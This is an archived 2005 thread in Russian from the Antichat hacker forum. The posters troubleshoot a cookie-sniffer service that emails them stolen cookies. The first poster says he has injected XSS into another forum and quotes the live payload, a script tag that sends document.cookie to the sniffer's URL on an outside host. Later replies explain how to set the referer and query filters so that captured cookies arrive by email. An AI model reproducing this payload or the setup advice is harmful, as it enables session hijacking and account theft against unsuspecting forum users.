Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Подписка на античатовский сниффер (https://forum.antichat.xyz/showthread.php?t=9163)

Mastermind 31.08.2005 13:35

Подписка на античатовский сниффер
 
Чет я никак понять не могу...
Добрая часть логов не идет на мыло...
Сам проверял...
Зашел на форум, где внедрен XSS...
Захожу на log сниффера... Есть!
Проверяю мыло - Нет!
Пробовал на разные мыла подписываться...
Результат один!
Подписка активна... А куки не идут...
Уже стоко народу отвечала на мой топик, а куки пришли только от одного на ящик...
Кому интересно внедрен такой скрипт:
<script>i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;</script>

Да... на один ящик еще приходит:
host1220 <host1220@serv.hostland.ru>
Кому: undisclosed-recipients:;
Копия:
Тема: No subject
Тело: [пустое]
Как мне кажется тоже от сниффера...

GreenBear 31.08.2005 14:24

Дык может ты в полях не то написал?

Mastermind 31.08.2005 14:56

Заполняю фильтр реферер: site.com
Проблема в том, что какие то куки на мыло идут, а какие то нет, хотя в логе отображаются...

Barsik 31.08.2005 15:04

Я кстати тоже не пойму что писать там.
Чтоб куки доходили на мыло (Mail.ru)
Что нужно писать в реферер?
Например в кукисе пишет это
REFERER=http://www.xxx.com/forum/viewtopic.php?t=900
Чтоб на мыло приходило надо писать www.xxx.com или www.xxx.com/forum/viewtopic.php?t=900
И обязательно заполнять 2 поля?

Mastermind 31.08.2005 15:14

Barsik, подстроку реферера... например, xxx.com или www.xxx.com...

Кстати, сейчас подписка на 2 мыла... по идее должны приходить одинаковые результаты, а на одно мыло, к примеру, пришло 2 куки, а на другое только 1, причем отличное от тех 2...

Странно...

GreenBear 31.08.2005 15:27

Возможно просто сервер принимает сообщения снифера, как спам и фильтрует. Или же сервер античата глючит.

Mastermind 31.08.2005 15:45

Один аккаунт на гмейле... другой на яндексе... на гмейл пришло уведомление о подписке и один куки... на яндекс подписка, несколько кук, несколько host1220...

GreenBear 31.08.2005 15:49

Да хз, ты что то не так делаешь. У меня приходит все, точнее приходило. Давно я неподписывался

Barsik 31.08.2005 15:51

Мне на мэйле тоже пришло что то с хостом, но кук нет.
Mastermind Спасибо за ответ. А что писать в другой строчке или ее можно не заполнять?

Mastermind 31.08.2005 16:27

Это фильтр на Query... его можно не заполнять...


Время: 23:25